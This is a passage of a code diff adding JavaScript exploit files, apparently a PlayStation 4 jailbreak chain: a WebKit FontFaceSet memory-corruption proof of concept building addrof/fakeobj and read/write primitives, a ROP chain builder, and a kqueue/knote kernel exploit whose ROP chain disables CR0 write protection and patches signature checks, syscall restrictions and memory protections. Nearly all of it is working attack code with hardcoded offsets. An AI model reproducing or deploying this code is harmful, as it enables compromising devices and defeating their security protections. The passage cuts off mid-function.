res = chain.syscall(608, p.read4(handle), 0x0, ex_info);
|
||||
if (res.low != 0x0) {
|
||||
alert("failed to get module info from handle");
|
||||
}
|
||||
var tlsinit = p.read8(ex_info.add32(0x110));
|
||||
var tlssize = p.read4(ex_info.add32(0x11C));
|
||||
|
||||
if (tlssize != 0) {
|
||||
if (name == "libSceWebKit2.sprx") {
|
||||
tlsinit.sub32inplace(OFFSET_WK2_TLS_IMAGE);
|
||||
} else {
|
||||
alert(`${name}, tlssize is non zero. this usually indicates that this module has a tls phdr with real data. You can hardcode the imgage to base offset here if you really wish to use one of these.`);
|
||||
}
|
||||
}
|
||||
return tlsinit;
|
||||
}
|
||||
|
||||
function extra_gadgets() {
|
||||
handle = p.malloc(0x150);
|
||||
var randomized_path_ptr = handle.add32(0x4);
|
||||
ex_info = randomized_path_ptr.add32(0x30);
|
||||
|
||||
chain.syscall(602, 0, randomized_path_ptr);
|
||||
random_path = p.readstr(randomized_path_ptr);
|
||||
|
||||
var ipmi_addr = load_prx("libSceIpmi.sprx");
|
||||
var hmd_addr = load_prx("libSceHmd.sprx");
|
||||
var wk2_addr = load_prx("libSceWebKit2.sprx");
|
||||
|
||||
for (var gadget in hmd_gadgetmap) {
|
||||
window.gadgets[gadget] = hmd_addr.add32(hmd_gadgetmap[gadget]);
|
||||
}
|
||||
for (var gadget in wk2_gadgetmap) {
|
||||
window.gadgets[gadget] = wk2_addr.add32(wk2_gadgetmap[gadget]);
|
||||
}
|
||||
for (var gadget in ipmi_gadgetmap) {
|
||||
window.gadgets[gadget] = ipmi_addr.add32(ipmi_gadgetmap[gadget]);
|
||||
}
|
||||
|
||||
for (var gadget in window.gadgets) {
|
||||
p.read8(window.gadgets[gadget]);
|
||||
}
|
||||
}
|
||||
|
||||
function kchain_setup() {
|
||||
const KERNEL_setidt = 0x312c40;
|
||||
const KERNEL_setcr0 = 0x1FB949;
|
||||
const KERNEL_Xill = 0x17d500;
|
||||
const KERNEL_veriPatch = 0x626874;
|
||||
const KERNEL_enable_syscalls_1 = 0x490;
|
||||
const KERNEL_enable_syscalls_2 = 0x4B5;
|
||||
const KERNEL_enable_syscalls_3 = 0x4B9;
|
||||
const KERNEL_enable_syscalls_4 = 0x4C2;
|
||||
const KERNEL_mprotect = 0x80B8D;
|
||||
const KERNEL_prx = 0x23AEC4;
|
||||
const KERNEL_dlsym_1 = 0x23B67F;
|
||||
const KERNEL_dlsym_2 = 0x221b40;
|
||||
|
||||
|
||||
const KERNEL_setuid = 0x1A06;
|
||||
const KERNEL_syscall11_1 = 0x1100520;
|
||||
const KERNEL_syscall11_2 = 0x1100528;
|
||||
const KERNEL_syscall11_3 = 0x110054C;
|
||||
const KERNEL_syscall11_gadget = 0x4c7ad;
|
||||
const KERNEL_mmap = 0x16632A;
|
||||
const KERNEL_setcr0_patch = 0x3ade3B;
|
||||
const KERNEL_kqueue_close_epi = 0x398991;
|
||||
|
||||
SAVED_KERNEL_STACK_PTR = p.malloc(0x200);
|
||||
KERNEL_BASE_PTR = SAVED_KERNEL_STACK_PTR.add32(0x8);
|
||||
//negative offset of kqueue string to kernel base
|
||||
//0xFFFFFFFFFF86B593 0x505
|
||||
//0xFFFFFFFFFF80E364 0x900
|
||||
p.write8(KERNEL_BASE_PTR, new int64(0xFF80E364, 0xFFFFFFFF));
|
||||
|
||||
kchain = new rop();
|
||||
kchain2 = new rop();
|
||||
|
||||
kchain.count = 0;
|
||||
kchain2.count = 0;
|
||||
|
||||
kchain.set_kernel_var(KERNEL_BASE_PTR);
|
||||
kchain2.set_kernel_var(KERNEL_BASE_PTR);
|
||||
|
||||
kchain.push(gadgets["pop rax"]);
|
||||
kchain.push(SAVED_KERNEL_STACK_PTR);
|
||||
kchain.push(gadgets["mov [rax], rdi"]);
|
||||
kchain.push(gadgets["pop r8"]);
|
||||
kchain.push(KERNEL_BASE_PTR);
|
||||
kchain.push(gadgets["add [r8], r12"]);
|
||||
|
||||
|
||||
|
||||
var idx1 = kchain.write_kernel_addr_to_chain_later(KERNEL_setidt);
|
||||
var idx2 = kchain.write_kernel_addr_to_chain_later(KERNEL_setcr0);
|
||||
//Modify UD
|
||||
kchain.push(gadgets["pop rdi"]);
|
||||
kchain.push(0x6);
|
||||
kchain.push(gadgets["pop rsi"]);
|
||||
kchain.push(gadgets["mov rsp, rdi"]);
|
||||
kchain.push(gadgets["pop rdx"]);
|
||||
kchain.push(0xE);
|
||||
kchain.push(gadgets["pop rcx"]);
|
||||
kchain.push(0x0);
|
||||
kchain.push(gadgets["pop r8"]);
|
||||
kchain.push(0x0);
|
||||
var idx1_dest = kchain.get_rsp();
|
||||
kchain.pushSymbolic(); // overwritten with KERNEL_setidt
|
||||
|
||||
kchain.push(gadgets["pop rsi"]);
|
||||
kchain.push(0x80040033);
|
||||
kchain.push(gadgets["pop rdi"]);
|
||||
kchain.push(kchain2.stack);
|
||||
var idx2_dest = kchain.get_rsp();
|
||||
kchain.pushSymbolic(); // overwritten with KERNEL_setcr0
|
||||
|
||||
kchain.finalizeSymbolic(idx1, idx1_dest);
|
||||
kchain.finalizeSymbolic(idx2, idx2_dest);
|
||||
|
||||
//Restore original UD
|
||||
|
||||
var idx3 = kchain2.write_kernel_addr_to_chain_later(KERNEL_Xill);
|
||||
var idx4 = kchain2.write_kernel_addr_to_chain_later(KERNEL_setidt);
|
||||
kchain2.push(gadgets["pop rdi"]);
|
||||
kchain2.push(0x6);
|
||||
kchain2.push(gadgets["pop rsi"]);
|
||||
var idx3_dest = kchain2.get_rsp();
|
||||
kchain2.pushSymbolic(); // overwritten with KERNEL_Xill
|
||||
kchain2.push(gadgets["pop rdx"]);
|
||||
kchain2.push(0xE);
|
||||
kchain2.push(gadgets["pop rcx"]);
|
||||
kchain2.push(0x0);
|
||||
kchain2.push(gadgets["pop r8"]);
|
||||
kchain2.push(0x0);
|
||||
var idx4_dest = kchain2.get_rsp();
|
||||
kchain2.pushSymbolic(); // overwritten with KERNEL_setidt
|
||||
|
||||
kchain2.finalizeSymbolic(idx3, idx3_dest);
|
||||
kchain2.finalizeSymbolic(idx4, idx4_dest);
|
||||
|
||||
//Apply kernel patches
|
||||
|
||||
kchain2.kwrite4(KERNEL_veriPatch, 0x83489090);
|
||||
|
||||
kchain2.kwrite4(KERNEL_enable_syscalls_1, 0x00000000);
|
||||
//patch in reverse because /shrug
|
||||
kchain2.kwrite4(KERNEL_enable_syscalls_4, 0x04EB69EB);
|
||||
kchain2.kwrite4(KERNEL_enable_syscalls_3, 0x3B489090);
|
||||
kchain2.kwrite4(KERNEL_enable_syscalls_2, 0xC9859090);
|
||||
|
||||
kchain2.kwrite4(KERNEL_setuid, 0x8B482AEB);
|
||||
kchain2.kwrite4(KERNEL_mprotect, 0x00000000);
|
||||
kchain2.kwrite4(KERNEL_prx, 0x00C0E990);
|
||||
kchain2.kwrite4(KERNEL_dlsym_1, 0x8B484CEB);
|
||||
kchain2.kwrite4(KERNEL_dlsym_2, 0xC3C03148);
|
||||
|
||||
kchain2.kwrite4(KERNEL_mmap, 0x37B24137);
|
||||
|
||||
kchain2.kwrite4(KERNEL_syscall11_1, 0x00000002);
|
||||
kchain2.kwrite8_kaddr(KERNEL_syscall11_2, KERNEL_syscall11_gadget);
|
||||
kchain2.kwrite4(KERNEL_syscall11_3, 0x00000001);
|
||||
|
||||
//Restore CR0
|
||||
kchain2.kwrite4(KERNEL_setcr0_patch, 0xC3C7220F);
|
||||
var idx5 = kchain2.write_kernel_addr_to_chain_later(KERNEL_setcr0_patch);
|
||||
kchain2.push(gadgets["pop rdi"]);
|
||||
kchain2.push(0x80050033);
|
||||
var idx5_dest = kchain2.get_rsp();
|
||||
kchain2.pushSymbolic(); // overwritten with KERNEL_setcr0_patch
|
||||
kchain2.finalizeSymbolic(idx5, idx5_dest);
|
||||
|
||||
|
||||
//Recover
|
||||
kchain2.rax_kernel(KERNEL_kqueue_close_epi);
|
||||
kchain2.push(gadgets["mov rdx, rax"]);
|
||||
kchain2.push(gadgets["pop rsi"]);
|
||||
kchain2.push(SAVED_KERNEL_STACK_PTR);
|
||||
kchain2.push(gadgets["mov rax, [rsi]"]);
|
||||
kchain2.push(gadgets["pop rcx"]);
|
||||
kchain2.push(0x10);
|
||||
kchain2.push(gadgets["add rax, rcx"]);
|
||||
kchain2.push(gadgets["mov [rax], rdx"]);
|
||||
kchain2.push(gadgets["pop rdi"]);
|
||||
var idx6 = kchain2.pushSymbolic();
|
||||
kchain2.push(gadgets["mov [rdi], rax"]);
|
||||
kchain2.push(gadgets["sti"]);
|
||||
kchain2.push(gadgets["pop rsp"]);
|
||||
var idx6_dest = kchain2.get_rsp();
|
||||
kchain2.pushSymbolic(); // overwritten with old stack pointer
|
||||
kchain2.finalizeSymbolic(idx6, idx6_dest);
|
||||
}
|
||||
|
||||
function object_setup() {
|
||||
//Map fake object
|
||||
var fake_knote = chain.syscall(477, 0x4000, 0x4000 * 0x3, 0x3, 0x1012, 0xFFFFFFFF, 0x0);
|
||||
var fake_filtops = fake_knote.add32(0x4000);
|
||||
var fake_obj = fake_knote.add32(0x8000);
|
||||
if (fake_knote.low != 0x4000) {
|
||||
alert("enomem: " + fake_knote);
|
||||
while (1);
|
||||
}
|
||||
//setup fake object
|
||||
//KNOTE
|
||||
{
|
||||
p.write8(fake_knote, fake_obj);
|
||||
p.write8(fake_knote.add32(0x68), fake_filtops)
|
||||
}
|
||||
//FILTOPS
|
||||
{
|
||||
p.write8(fake_filtops.sub32(0x79), gadgets["cli ; pop rax"]); //cli ; pop rax ; ret
|
||||
p.write8(fake_filtops.add32(0x0), gadgets["xchg rdi, rsp ; call [rsi - 0x79]"]); //xchg rdi, rsp ; call qword ptr [rsi - 0x79]
|
||||
p.write8(fake_filtops.add32(0x8), kchain.stack);
|
||||
p.write8(fake_filtops.add32(0x10), gadgets["mov rcx, [rdi] ; mov rsi, rax ; call [rcx + 0x30]"]); //mov rcx, qword ptr [rdi] ; mov rsi, rax ; call qword ptr [rcx + 0x30]
|
||||
}
|
||||
//OBJ
|
||||
{
|
||||
p.write8(fake_obj.add32(0x30), gadgets["mov rdi, [rax + 8] ; call [rax]"]); //mov rdi, qword ptr [rax + 8] ; call qword ptr [rax]
|
||||
}
|
||||
}
|
||||
|
||||
var trigger_spray = function () {
|
||||
//Make socket <= 0xFF | -> alloc 0x800
|
||||
|
||||
|
||||
var NUM_KQUEUES = 0x1B0;
|
||||
var kqueue_ptr = p.malloc(NUM_KQUEUES * 0x4);
|
||||
//Make Kqueues
|
||||
{
|
||||
for (var i = 0; i < NUM_KQUEUES; i++) {
|
||||
chain.fcall(window.syscalls[362]);
|
||||
chain.write_result4(kqueue_ptr.add32(0x4 * i));
|
||||
}
|
||||
}
|
||||
chain.run();
|
||||
var kqueues = p.array_from_address(kqueue_ptr, NUM_KQUEUES);
|
||||
|
||||
var that_one_socket = chain.syscall(97, 2, 1, 0);
|
||||
if (that_one_socket.low < 0x100 || that_one_socket.low >= 0x200) {
|
||||
alert("invalid socket");
|
||||
while (1);
|
||||
}
|
||||
|
||||
//Spray kevents
|
||||
var kevent = p.malloc(0x20);
|
||||
p.write8(kevent.add32(0x0), that_one_socket);
|
||||
p.write4(kevent.add32(0x8), 0xFFFF + 0x010000);
|
||||
p.write4(kevent.add32(0xC), 0x0);
|
||||
p.write8(kevent.add32(0x10), 0x0);
|
||||
p.write8(kevent.add32(0x18), 0x0); {
|
||||
for (var i = 0; i < NUM_KQUEUES; i++) {
|
||||
chain.fcall(window.syscalls[363], kqueues[i], kevent, 0x1, 0x0, 0x0, 0x0);
|
||||
}
|
||||
}
|
||||
chain.run();
|
||||
|
||||
|
||||
|
||||
//Fragment memory
|
||||
{
|
||||
for (var i = 20; i < NUM_KQUEUES; i += 2) {
|
||||
chain.fcall(window.syscalls[6], kqueues[i]);
|
||||
}
|
||||
}
|
||||
chain.run();
|
||||
|
||||
//Trigger OOB
|
||||
alert("Insert USB now. do not close the dialog until notification pops, remove usb after closing it.");
|
||||
//Trigger corrupt knote
|
||||
{
|
||||
for (var i = 1; i < NUM_KQUEUES; i += 2) {
|
||||
chain.fcall(window.syscalls[6], kqueues[i]);
|
||||
}
|
||||
}
|
||||
chain.run();
|
||||
if (chain.syscall(23, 0).low == 0) {
|
||||
return;
|
||||
}
|
||||
alert("exploit failed (kernel heap might be fucked if you *did* insert the USB");
|
||||
p.write8(0, 0);
|
||||
return;
|
||||
}
|
165
rop.js
Normal file
165
rop.js
Normal file
@ -0,0 +1,165 @@
|
||||
const stack_sz = 0x40000;
|
||||
const reserve_upper_stack = 0x8000;
|
||||
const stack_reserved_idx = reserve_upper_stack / 4;
|
||||
|
||||
|
||||
// Class for quickly creating and managing a ROP chain
|
||||
window.rop = function () {
|
||||
this.stackback = p.malloc32(stack_sz / 4 + 0x8);
|
||||
this.stack = this.stackback.add32(reserve_upper_stack);
|
||||
this.stack_array = this.stackback.backing;
|
||||
this.retval = this.stackback.add32(stack_sz);
|
||||
this.count = 1;
|
||||
this.branches_count = 0;
|
||||
this.branches_rsps = p.malloc(0x200);
|
||||
|
||||
this.clear = function () {
|
||||
this.count = 1;
|
||||
this.branches_count = 0;
|
||||
|
||||
for (var i = 1; i < ((stack_sz / 4) - stack_reserved_idx); i++) {
|
||||
this.stack_array[i + stack_reserved_idx] = 0;
|
||||
}
|
||||
};
|
||||
|
||||
this.pushSymbolic = function () {
|
||||
this.count++;
|
||||
return this.count - 1;
|
||||
}
|
||||
|
||||
this.finalizeSymbolic = function (idx, val) {
|
||||
if (val instanceof int64) {
|
||||
this.stack_array[stack_reserved_idx + idx * 2] = val.low;
|
||||
this.stack_array[stack_reserved_idx + idx * 2 + 1] = val.hi;
|
||||
} else {
|
||||
this.stack_array[stack_reserved_idx + idx * 2] = val;
|
||||
this.stack_array[stack_reserved_idx + idx * 2 + 1] = 0;
|
||||
}
|
||||
}
|
||||
|
||||
this.push = function (val) {
|
||||
this.finalizeSymbolic(this.pushSymbolic(), val);
|
||||
}
|
||||
|
||||
this.push_write8 = function (where, what) {
|
||||
this.push(gadgets["pop rdi"]);
|
||||
this.push(where);
|
||||
this.push(gadgets["pop rsi"]);
|
||||
this.push(what);
|
||||
this.push(gadgets["mov [rdi], rsi"]);
|
||||
}
|
||||
|
||||
this.fcall = function (rip, rdi, rsi, rdx, rcx, r8, r9) {
|
||||
if (rdi != undefined) {
|
||||
this.push(gadgets["pop rdi"]);
|
||||
this.push(rdi);
|
||||
}
|
||||
|
||||
if (rsi != undefined) {
|
||||
this.push(gadgets["pop rsi"]);
|
||||
this.push(rsi);
|
||||
}
|
||||
|
||||
if (rdx != undefined) {
|
||||
this.push(gadgets["pop rdx"]);
|
||||
this.push(rdx);
|
||||
}
|
||||
|
||||
if (rcx != undefined) {
|
||||
this.push(gadgets["pop rcx"]);
|
||||
this.push(rcx);
|
||||
}
|
||||
|
||||
if (r8 != undefined) {
|
||||
this.push(gadgets["pop r8"]);
|
||||
this.push(r8);
|
||||
}
|
||||
|
||||
if (r9 != undefined) {
|
||||
this.push(gadgets["pop r9"]);
|
||||
this.push(r9);
|
||||
}
|
||||
|
||||
this.push(rip);
|
||||
return this;
|
||||
}
|
||||
|
||||
this.call = function (rip, rdi, rsi, rdx, rcx, r8, r9) {
|
||||
this.fcall(rip, rdi, rsi, rdx, rcx, r8, r9);
|
||||
this.write_result(this.retval);
|
||||
this.run();
|
||||
return p.read8(this.retval);
|
||||
}
|
||||
|
||||
this.syscall = function (sysc, rdi, rsi, rdx, rcx, r8, r9) {
|
||||
return this.call(window.syscalls[sysc], rdi, rsi, rdx, rcx, r8, r9);
|
||||
}
|
||||
|
||||
//get rsp of the next push
|
||||
this.get_rsp = function () {
|
||||
return this.stack.add32(this.count * 8);
|
||||
}
|
||||
this.write_result = function (where) {
|
||||
this.push(gadgets["pop rdi"]);
|
||||
this.push(where);
|
||||
this.push(gadgets["mov [rdi], rax"]);
|
||||
}
|
||||
this.write_result4 = function (where) {
|
||||
this.push(gadgets["pop rdi"]);
|
||||
this.push(where);
|
||||
this.push(gadgets["mov [rdi], eax"]);
|
||||
}
|
||||
|
||||
this.jmp_rsp = function (rsp) {
|
||||
this.push(window.gadgets["pop rsp"]);
|
||||
this.push(rsp);
|
||||
}
|
||||
|
||||
this.run = function () {
|
||||
p.launch_chain(this);
|
||||
this.clear();
|
||||
}
|
||||
|
||||
this.KERNEL_BASE_PTR_VAR;
|
||||
this.set_kernel_var = function (arg) {
|
||||
this.KERNEL_BASE_PTR_VAR = arg;
|
||||
}
|
||||
|
||||
this.rax_kernel = function (offset) {
|
||||
this.push(gadgets["pop rax"]);
|
||||
this.push(this.KERNEL_BASE_PTR_VAR)
|
||||
this.push(gadgets["mov rax, [rax]"]);
|
||||
this.push(gadgets["pop rsi"]);
|
||||
this.push(offset)
|
||||
this.push(gadgets["add rax, rsi"]);
|
||||
}
|
||||
|
||||
this.write_kernel_addr_to_chain_later = function (offset) {
|
||||
this.push(gadgets["pop rdi"]);
|
||||
var idx = this.pushSymbolic();
|
||||
this.rax_kernel(offset);
|
||||
this.push(gadgets["mov [rdi], rax"]);
|
||||
return idx;
|
||||
}
|
||||
|
||||
this.kwrite8 = function (offset, qword) {
|
||||
this.rax_kernel(offset);
|
||||
this.push(gadgets["pop rsi"]);
|
||||
this.push(qword);
|
||||
this.push(gadgets["mov [rax], rsi"]);
|
||||
}
|
||||
this.kwrite4 = function (offset, dword) {
|
||||
this.rax_kernel(offset);
|
||||
this.push(gadgets["pop rdx"]);
|
||||
this.push(dword);
|
||||
this.push(gadgets["mov [rax], edx"]);
|
||||
}
|
||||
|
||||
this.kwrite8_kaddr = function (offset1, offset2) {
|
||||
this.rax_kernel(offset2);
|
||||
this.push(gadgets["mov rdx, rax"]);
|
||||
this.rax_kernel(offset1);
|
||||
this.push(gadgets["mov [rax], rdx"]);
|
||||
}
|
||||
return this;
|
||||
};
|
370
webkit.js
Normal file
370
webkit.js
Normal file
@ -0,0 +1,370 @@
|
||||
var PAGE_SIZE = 16384;
|
||||
var SIZEOF_CSS_FONT_FACE = 0xb8;
|
||||
var HASHMAP_BUCKET = 208;
|
||||
var STRING_OFFSET = 20;
|
||||
var SPRAY_FONTS = 0x1000;
|
||||
var GUESS_FONT = 0x200430000;
|
||||
var NPAGES = 20;
|
||||
var INVALID_POINTER = 0;
|
||||
var HAMMER_FONT_NAME = "font8"; //must take bucket 3 of 8 (counting from zero)
|
||||
var HAMMER_NSTRINGS = 700; //tweak this if crashing during hammer time
|
||||
|
||||
function poc() {
|
||||
|
||||
function hex(n) {
|
||||
if ((typeof n) != "number")
|
||||
return "" + n;
|
||||
return "0x" + (new Number(n)).toString(16);
|
||||
}
|
||||
|
||||
var union = new ArrayBuffer(8);
|
||||
var union_b = new Uint8Array(union);
|
||||
var union_i = new Uint32Array(union);
|
||||
var union_f = new Float64Array(union);
|
||||
|
||||
var bad_fonts = [];
|
||||
|
||||
for (var i = 0; i < SPRAY_FONTS; i++)
|
||||
bad_fonts.push(new FontFace("font1", "", {}));
|
||||
|
||||
var good_font = new FontFace("font2", "url(data:text/html,)", {});
|
||||
bad_fonts.push(good_font);
|
||||
|
||||
var arrays = [];
|
||||
for (var i = 0; i < 512; i++)
|
||||
arrays.push(new Array(31));
|
||||
|
||||
arrays[256][0] = 1.5;
|
||||
arrays[257][0] = {};
|
||||
arrays[258][0] = 1.5;
|
||||
|
||||
var jsvalue = {
|
||||
a: arrays[256],
|
||||
b: new Uint32Array(1),
|
||||
c: true
|
||||
};
|
||||
|
||||
var string_atomifier = {};
|
||||
var string_id = 10000000;
|
||||
|
||||
function ptrToString(p) {
|
||||
var s = '';
|
||||
for (var i = 0; i < 8; i++) {
|
||||
s += String.fromCharCode(p % 256);
|
||||
p = (p - p % 256) / 256;
|
||||
}
|
||||
return s;
|
||||
}
|
||||
|
||||
function stringToPtr(p, o) {
|
||||
if (o === undefined)
|
||||
o = 0;
|
||||
var ans = 0;
|
||||
for (var i = 7; i >= 0; i--)
|
||||
ans = 256 * ans + p.charCodeAt(o + i);
|
||||
return ans;
|
||||
}
|
||||
|
||||
var strings = [];
|
||||
|
||||
function mkString(l, head) {
|
||||
var s = head + '\u0000'.repeat(l - STRING_OFFSET - 8 - head.length) + (string_id++);
|
||||
string_atomifier[s] = 1;
|
||||
strings.push(s);
|
||||
return s;
|
||||
}
|
||||
|
||||
var guf = GUESS_FONT;
|
||||
var ite = true;
|
||||
var matches = 0;
|
||||
|
||||
do {
|
||||
|
||||
var p_s = ptrToString(NPAGES + 2); // vector.size()
|
||||
for (var i = 0; i < NPAGES; i++)
|
||||
p_s += ptrToString(guf + i * PAGE_SIZE);
|
||||
p_s += ptrToString(INVALID_POINTER);
|
||||
|
||||
for (var i = 0; i < 256; i++)
|
||||
mkString(HASHMAP_BUCKET, p_s);
|
||||
|
||||
var ffs = new FontFaceSet(bad_fonts);
|
||||
|
||||
var badstr1 = mkString(HASHMAP_BUCKET, p_s);
|
||||
|
||||
var guessed_font = null;
|
||||
var guessed_addr = null;
|
||||
|
||||
for (var i = 0; i < SPRAY_FONTS; i++) {
|
||||
bad_fonts[i].family = "evil";
|
||||
if (badstr1.substr(0, p_s.length) != p_s) {
|
||||
guessed_font = i;
|
||||
var p_s1 = badstr1.substr(0, p_s.length);
|
||||
for (var i = 1; i <= NPAGES; i++) {
|
||||
if (p_s1.substr(i * 8, 8) != p_s.substr(i * 8, 8)) {
|
||||
guessed_addr = stringToPtr(p_s.substr(i * 8, 8));
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (matches++ == 0) {
|
||||
guf = guessed_addr + 2 * PAGE_SIZE;
|
||||
guessed_addr = null;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if ((ite = !ite))
|
||||
guf += NPAGES * PAGE_SIZE;
|
||||
|
||||
}
|
||||
while (guessed_addr === null);
|
||||
|
||||
var p_s = '';
|
||||
p_s += ptrToString(26);
|
||||
p_s += ptrToString(guessed_addr);
|
||||
p_s += ptrToString(guessed_addr + SIZEOF_CSS_FONT_FACE);
|
||||
for (var i = 0; i < 19; i++)
|
||||
p_s += ptrToString(INVALID_POINTER);
|
||||
|
||||
for (var i = 0; i < 256; i++)
|
||||
mkString(HASHMAP_BUCKET, p_s);
|
||||
|
||||
var ffs2 = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], good_font]);
|
||||
var badstr2 = mkString(HASHMAP_BUCKET, p_s);
|
||||
mkString(HASHMAP_BUCKET, p_s);
|
||||
|
||||
bad_fonts[guessed_font].family = "evil2";
|
||||
bad_fonts[guessed_font + 1].family = "evil3";
|
||||
|
||||
var leak = stringToPtr(badstr2.substr(badstr2.length - 8));
|
||||
|
||||
var ffses = {};
|
||||
|
||||
function makeReader(read_addr, ffs_name) {
|
||||
var fake_s = '';
|
||||
fake_s += '0000'; //padding for 8-byte alignment
|
||||
fake_s += '\u00ff\u0000\u0000\u0000\u00ff\u00ff\u00ff\u00ff'; //refcount=255, length=0xffffffff
|
||||
fake_s += ptrToString(read_addr); //where to read from
|
||||
fake_s += ptrToString(0x80000014); //some fake non-zero hash, atom, 8-bit
|
||||
p_s = '';
|
||||
p_s += ptrToString(29);
|
||||
p_s += ptrToString(guessed_addr);
|
||||
p_s += ptrToString(guessed_addr + SIZEOF_CSS_FONT_FACE);
|
||||
p_s += ptrToString(guessed_addr + 2 * SIZEOF_CSS_FONT_FACE);
|
||||
for (var i = 0; i < 18; i++)
|
||||
p_s += ptrToString(INVALID_POINTER);
|
||||
for (var i = 0; i < 256; i++)
|
||||
mkString(HASHMAP_BUCKET, p_s);
|
||||
var the_ffs = ffses[ffs_name] = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], bad_fonts[guessed_font + 2], good_font]);
|
||||
mkString(HASHMAP_BUCKET, p_s);
|
||||
var relative_read = mkString(HASHMAP_BUCKET, fake_s);
|
||||
bad_fonts[guessed_font].family = ffs_name + "_evil1";
|
||||
bad_fonts[guessed_font + 1].family = ffs_name + "_evil2";
|
||||
bad_fonts[guessed_font + 2].family = ffs_name + "_evil3";
|
||||
if (relative_read.length < 1000) //failed
|
||||
return makeReader(read_addr, ffs_name + '_');
|
||||
return relative_read;
|
||||
}
|
||||
|
||||
var fastmalloc = makeReader(leak, 'ffs3'); //read from leaked string ptr
|
||||
|
||||
for (var i = 0; i < 100000; i++)
|
||||
mkString(128, '');
|
||||
|
||||
var props = [];
|
||||
for (var i = 0; i < 0x10000; i++) {
|
||||
props.push({
|
||||
value: 0x41434442
|
||||
});
|
||||
props.push({
|
||||
value: jsvalue
|
||||
});
|
||||
}
|
||||
|
||||
var jsvalue_leak = null;
|
||||
|
||||
while (jsvalue_leak === null) {
|
||||
Object.defineProperties({}, props);
|
||||
for (var i = 0;; i++) {
|
||||
if (fastmalloc.charCodeAt(i) == 0x42 &&
|
||||
fastmalloc.charCodeAt(i + 1) == 0x44 &&
|
||||
fastmalloc.charCodeAt(i + 2) == 0x43 &&
|
||||
fastmalloc.charCodeAt(i + 3) == 0x41 &&
|
||||
fastmalloc.charCodeAt(i + 4) == 0 &&
|
||||
fastmalloc.charCodeAt(i + 5) == 0 &&
|
||||
fastmalloc.charCodeAt(i + 6) == 254 &&
|
||||
fastmalloc.charCodeAt(i + 7) == 255 &&
|
||||
fastmalloc.charCodeAt(i + 24) == 14
|
||||
) {
|
||||
jsvalue_leak = stringToPtr(fastmalloc, i + 32);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var rd_leak = makeReader(jsvalue_leak, 'ffs4');
|
||||
var array256 = stringToPtr(rd_leak, 16); //arrays[256]
|
||||
var ui32a = stringToPtr(rd_leak, 24); //Uint32Array
|
||||
var sanity = stringToPtr(rd_leak, 32);
|
||||
|
||||
var rd_arr = makeReader(array256, 'ffs5');
|
||||
var butterfly = stringToPtr(rd_arr, 8);
|
||||
|
||||
var rd_ui32 = makeReader(ui32a, 'ffs6');
|
||||
for (var i = 0; i < 8; i++)
|
||||
union_b[i] = rd_ui32.charCodeAt(i);
|
||||
|
||||
var structureid_low = union_i[0];
|
||||
var structureid_high = union_i[1];
|
||||
|
||||
//setup for addrof/fakeobj
|
||||
//in array[256] butterfly: 0 = &bad_fonts[guessed_font+12] as double
|
||||
//in array[257] butterfly: 0 = {0x10000, 0x10000} as jsvalue
|
||||
union_i[0] = 0x10000;
|
||||
union_i[1] = 0; //account for nan-boxing
|
||||
arrays[257][1] = {}; //force it to still be jsvalue-array not double-array
|
||||
arrays[257][0] = union_f[0];
|
||||
union_i[0] = (guessed_addr + 12 * SIZEOF_CSS_FONT_FACE) | 0;
|
||||
union_i[1] = (guessed_addr - guessed_addr % 0x100000000) / 0x100000000;
|
||||
arrays[256][i] = union_f[0];
|
||||
|
||||
//hammer time!
|
||||
|
||||
pp_s = '';
|
||||
pp_s += ptrToString(56);
|
||||
for (var i = 0; i < 12; i++)
|
||||
pp_s += ptrToString(guessed_addr + i * SIZEOF_CSS_FONT_FACE);
|
||||
|
||||
var fake_s = '';
|
||||
fake_s += '0000'; //padding for 8-byte alignment
|
||||
fake_s += ptrToString(INVALID_POINTER); //never dereferenced
|
||||
fake_s += ptrToString(butterfly); //hammer target
|
||||
fake_s += '\u0000\u0000\u0000\u0000\u0022\u0000\u0000\u0000'; //length=34
|
||||
|
||||
var ffs7_args = [];
|
||||
for (var i = 0; i < 12; i++)
|
||||
ffs7_args.push(bad_fonts[guessed_font + i]);
|
||||
ffs7_args.push(good_font);
|
||||
|
||||
var ffs8_args = [bad_fonts[guessed_font + 12]];
|
||||
for (var i = 0; i < 5; i++)
|
||||
ffs8_args.push(new FontFace(HAMMER_FONT_NAME, "url(data:text/html,)", {}));
|
||||
|
||||
for (var i = 0; i < HAMMER_NSTRINGS; i++)
|
||||
mkString(HASHMAP_BUCKET, pp_s);
|
||||
|
||||
var ffs7 = new FontFaceSet(ffs7_args);
|
||||
mkString(HASHMAP_BUCKET, pp_s);
|
||||
var ffs8 = new FontFaceSet(ffs8_args);
|
||||
mkString(HASHMAP_BUCKET, fake_s);
|
||||
|
||||
for (var i = 0; i < 13; i++)
|
||||
bad_fonts[guessed_font + i].family = "hammer" + i;
|
||||
|
||||
|
||||
window.addrof = function (obj) {
|
||||
arrays[257][32] = obj;
|
||||
union_f[0] = arrays[258][0];
|
||||
return new int64(union_i[0], union_i[1]);
|
||||
}
|
||||
|
||||
window.fakeobj = function (addr) {
|
||||
union_i[0] = addr.low;
|
||||
union_i[1] = addr.hi;
|
||||
arrays[258][0] = union_f[0];
|
||||
return arrays[257][32];
|
||||
}
|
||||
//craft misaligned typedarray
|
||||
|
||||
var arw_master = new Uint32Array(8);
|
||||
var arw_slave = new Uint32Array(2);
|
||||
|
||||
var addrof_slave = addrof(arw_slave);
|
||||
union_i[0] = structureid_low;
|
||||
union_i[1] = structureid_high;
|
||||
union_b[6] = 7;
|
||||
var obj = {
|
||||
jscell: union_f[0],
|
||||
butterfly: true,
|
||||
buffer: arw_master,
|
||||
size: 0x5678
|
||||
};
|
||||
|
||||
(function () {
|
||||
var magic = fakeobj(addrof(obj).add32(0x10));
|
||||
magic[4] = addrof_slave.low;
|
||||
magic[5] = addrof_slave.hi;
|
||||
magic = null;
|
||||
})();
|
||||
|
||||
var prim = {
|
||||
write8: function(addr, value) {
|
||||
arw_master[4] = addr.low;
|
||||
arw_master[5] = addr.hi;
|
||||
if(value instanceof int64) {
|
||||
arw_slave[0] = value.low;
|
||||
arw_slave[1] = value.hi;
|
||||
} else {
|
||||
arw_slave[0] = value;
|
||||
arw_slave[1] = 0;
|
||||
}
|
||||
},
|
||||
write4: function(addr, value) {
|
||||
